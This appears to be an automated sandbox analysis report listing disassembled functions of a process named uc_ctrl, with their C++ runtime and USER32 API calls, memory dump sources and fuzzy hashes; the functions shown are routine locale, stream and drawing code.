?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,?,?,00000000), ref: 6C958CA8
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,00000030), ref: 6C958D11

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: ca0d638da00426ca094e21e776c58a5455219755792e569d2c9ae2ac5fb61de4
Instruction ID: bfb020a9851619300e6f32e7ba1e0674dd7e883de0556d932bd42b30c3fb9258
Opcode Fuzzy Hash: ca0d638da00426ca094e21e776c58a5455219755792e569d2c9ae2ac5fb61de4
Instruction Fuzzy Hash: 2C215C70911149DFCB08CFA8C4909EEBBB9AF28308F64405EE406A7781DB30DE15CB65

Function 6C958E10 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958E17

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,00000030), ref: 6C958E4A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C958E5F
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,?,?,00000000), ref: 6C958E98
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,00000030), ref: 6C958F04

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: d09738e27cd2f5efae60b2e659e1cbbdbd6f72629b556a31fd99dd935b5e19b0
Instruction ID: 9a6248c0ee928b26a332b9e3c0d6d275c6b3c6dcce1b63361fae2fe99666538d
Opcode Fuzzy Hash: d09738e27cd2f5efae60b2e659e1cbbdbd6f72629b556a31fd99dd935b5e19b0
Instruction Fuzzy Hash: F021A070E111499FCB08DFA4C4909EEBBB9BF28308F54402EE406AB741DB34DE19CB69

Function 6C6A8A7B Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 6C685025: __EH_prolog3.LIBCMT ref: 6C68502C
Part of subcall function 6C685025: GetDC.USER32(00000000), ref: 6C685058

IsRectEmpty.USER32(?), ref: 6C6A8AA3
InvertRect.USER32(?,?), ref: 6C6A8AB1
SetRectEmpty.USER32(?), ref: 6C6A8AC3
GetClientRect.USER32(?,?), ref: 6C6A8AE0
InvertRect.USER32(?,?), ref: 6C6A8B30

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$EmptyInvert$ClientH_prolog3
String ID:
API String ID: 1656078942-0
Opcode ID: 2237f9697d2f35c4e70b577834afd4b3f71de7587893c8bc659523d0230ea729
Instruction ID: 791dde559bcc0ebafb226cdd45bd0a7153ce6499cbd4fd22946738dcd2452919
Opcode Fuzzy Hash: 2237f9697d2f35c4e70b577834afd4b3f71de7587893c8bc659523d0230ea729
Instruction Fuzzy Hash: 5B217C72A002099FCB11CFB4C884AEEBBB9FF4E304F14417AE405E7210EB715A46CB64

Function 6C92ED80 Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92ED9E
___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92EDAA
memcpy.VCRUNTIME140(?,?,?), ref: 6C92EDD8
__crtLCMapStringA.MSVCP140(?,00000400,?,?,00000000,00000000,?,00000001), ref: 6C92EDF5

Part of subcall function 6C930E50: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6C930E6E
Part of subcall function 6C930E50: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 6C930E9A
Part of subcall function 6C930E50: __alloca_probe_16.LIBCMT ref: 6C930ED2
Part of subcall function 6C930E50: MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 6C930F2F
Part of subcall function 6C930E50: __crtLCMapStringEx.MSVCP140(?,?,00000000,?,00000000,00000000), ref: 6C930F49
Part of subcall function 6C930E50: __crtLCMapStringEx.MSVCP140(?,00000400,00000000,00000400,?,?), ref: 6C930F85

__crtLCMapStringA.MSVCP140(?,00000400,?,?,?,?,?,00000001), ref: 6C92EE1D

Part of subcall function 6C930E50: _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C930EF3
Part of subcall function 6C930E50: __alloca_probe_16.LIBCMT ref: 6C930FB9
Part of subcall function 6C930E50: __crtLCMapStringEx.MSVCP140(?,00000400,?,00000400,00000000,00000000), ref: 6C930FFF
Part of subcall function 6C930E50: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6C93101A
Part of subcall function 6C930E50: _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6C931032
Part of subcall function 6C930E50: _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C931071

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: String__crt$ByteCharMultiWide$__alloca_probe_16_free_base$___lc_collate_cp_func___lc_locale_name_func__strncnt_malloc_basememcpy
String ID:
API String ID: 1943972359-0
Opcode ID: ad5d3589e43e7e480b5b8d22d7471a3e8a5687e112f9093f1c840336d0a59c84
Instruction ID: 778d4a847f06db7e92633d2e07af439b5c502905ec39ade8c60e31a0703d11f4
Opcode Fuzzy Hash: ad5d3589e43e7e480b5b8d22d7471a3e8a5687e112f9093f1c840336d0a59c84
Instruction Fuzzy Hash: 5421AE36A10204BFEF14CFA9DC85A9E7BB9EF09319F144518FA08A7680E771E9108B90

Function 6C951FF0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C951FF7

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,00000001,00000014), ref: 6C95202C
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,00000001,00000014), ref: 6C952058
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,00000001,00000014), ref: 6C952085
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000014), ref: 6C9520B1

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_G@std@@@std@@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@
String ID:
API String ID: 2573136042-0
Opcode ID: 94b54cb66a4bf40a3272f7715f4cd41319b324223ce3b7be7de0d2187efa53df
Instruction ID: 6ce03194b614a7a765bb3037cf9fffa3a69eb283f51621e8b022f884707bd82c
Opcode Fuzzy Hash: 94b54cb66a4bf40a3272f7715f4cd41319b324223ce3b7be7de0d2187efa53df
Instruction Fuzzy Hash: 0F21AF31A12655CFCB10DF68C590BAAB7F0BF24318F90846DD08A9BB91CB74EA49CB50

Function 6C957480 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C957487

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C9574B7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C9574CD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(?,00000000,?,00000001,?,?,?,?,?), ref: 6C95751A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C957567

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: c4e38e3a2db6632899b0e2ea1b5b5e2d9620694334861feb2b53ecb6c32dda3d
Instruction ID: 20994a6a414d06dd0f6b73d5fbf07c274788f3f177282454d01c46b173fcff92
Opcode Fuzzy Hash: c4e38e3a2db6632899b0e2ea1b5b5e2d9620694334861feb2b53ecb6c32dda3d
Instruction Fuzzy Hash: B321D070900254EBCB05CFA8C890BFDBBB4BF68308F18804DE2456B781C779D655CBA5

Function 6C9546A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9546A7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C9546D7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C9546ED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WJ@Z.MSVCP140(00000000,00000000,?,?,?,00000001,?,?), ref: 6C954736
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C954783

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: e0e80753460aabb15fb5eb33ddc13b0e5acb08489403a01483128e746d6b2a54
Instruction ID: 029649b3db0db919e3c4886d8988641e31f604a9c00c2c04603fa2415d1fd172
Opcode Fuzzy Hash: e0e80753460aabb15fb5eb33ddc13b0e5acb08489403a01483128e746d6b2a54
Instruction Fuzzy Hash: FD21DE71901114AFDB05CFA8C590BFDBBF4AF69708F64804DE205AB781CB75DA64CBA0

Function 6C938EE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C938EE7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C938F0A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C938F28

Part of subcall function 6C93A400: __EH_prolog3_GS.LIBCMT ref: 6C93A407

_Stoullx.MSVCP140(?,?,00000000), ref: 6C938F39

Part of subcall function 6C92E7E0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E805
Part of subcall function 6C92E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6C92E8A6
Part of subcall function 6C92E7E0: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E8B8
Part of subcall function 6C92E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6C92E90A

std::locale::~locale.LIBCPMT ref: 6C938F4C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@tolower$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StoullxVlocale@2@Vlocale@2@@isspacememchrstd::locale::localestd::locale::~locale
String ID:
API String ID: 563252122-0
Opcode ID: 3ee657c97be5a130be5f4f2ba8357ffdb9869629a3f9db6987e29ee1691ac282
Instruction ID: d90924d554660e0e750027888b71c148242a72d9cca9a6a9a2e10faa2848ed0e
Opcode Fuzzy Hash: 3ee657c97be5a130be5f4f2ba8357ffdb9869629a3f9db6987e29ee1691ac282
Instruction Fuzzy Hash: EE213775801218EFCF04CF94D980AEEB7B9BF18318F04415AF819E7650EB30EA19CBA0

Function 6C938FA0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C938FA7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C938FCA

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C938FE8

Part of subcall function 6C93A400: __EH_prolog3_GS.LIBCMT ref: 6C93A407

_Stollx.MSVCP140(?,?,00000000), ref: 6C938FF9

Part of subcall function 6C92E400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92E424
Part of subcall function 6C92E400: _Stoullx.MSVCP140(?,?,?,?), ref: 6C92E448

std::locale::~locale.LIBCPMT ref: 6C93900C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StollxStoullxVlocale@2@Vlocale@2@@isspacestd::locale::localestd::locale::~locale
String ID:
API String ID: 2254190012-0
Opcode ID: 3ff93ff664fd41e882d6eb51250c60575e9e519c4584774137bb5f90926c145c
Instruction ID: b25ffa8718861473ef50b762531edd06f19459d2d247bd3aa5f301b76b4b3903
Opcode Fuzzy Hash: 3ff93ff664fd41e882d6eb51250c60575e9e519c4584774137bb5f90926c145c
Instruction Fuzzy Hash: 0B213A75801218EFCF04CF94D980AEEB7B8FF18318F05515AF819A7650EB35EA05CBA0

Function 6C957FF0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C957FF7

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,00000014), ref: 6C95802C
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,00000001,00000014), ref: 6C95804F
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,?,00000001,00000014), ref: 6C958074
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000014), ref: 6C9580A0

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@?sputc@?$basic_streambuf@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2274809079-0
Opcode ID: 5b0cc798677cd90d4d5d466a4f2a76c517cbbf952157f0dadc93ba235161a5f9
Instruction ID: e207a84aa642de824ba2555ff834562d7e20784a2e4fe97c0c1230a8c5c82a03
Opcode Fuzzy Hash: 5b0cc798677cd90d4d5d466a4f2a76c517cbbf952157f0dadc93ba235161a5f9
Instruction Fuzzy Hash: 9021C230961644CFCB14DFB4C490AEEB7F0BF24328F54855EE0A6ABA91C734EA55CB50

Function 6C940FE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C940FE7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6C94100A

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6C941028

Part of subcall function 6C945CD0: __EH_prolog3_GS.LIBCMT ref: 6C945CDA

_Stollx.MSVCP140(?,?,00000000), ref: 6C941039

Part of subcall function 6C92E400: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92E424
Part of subcall function 6C92E400: _Stoullx.MSVCP140(?,?,?,?), ref: 6C92E448

std::locale::~locale.LIBCPMT ref: 6C94104C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StollxStoullxVlocale@2@Vlocale@2@@isspacestd::locale::localestd::locale::~locale
String ID:
API String ID: 4200348380-0
Opcode ID: cd34b97c5841afc2589f9a23364119aef8edc022f578528e262811488f813316
Instruction ID: c41394a0ac5f41e2dc1dfa2bb8002727da7b92c96345fdc977e3345d522ebb0d
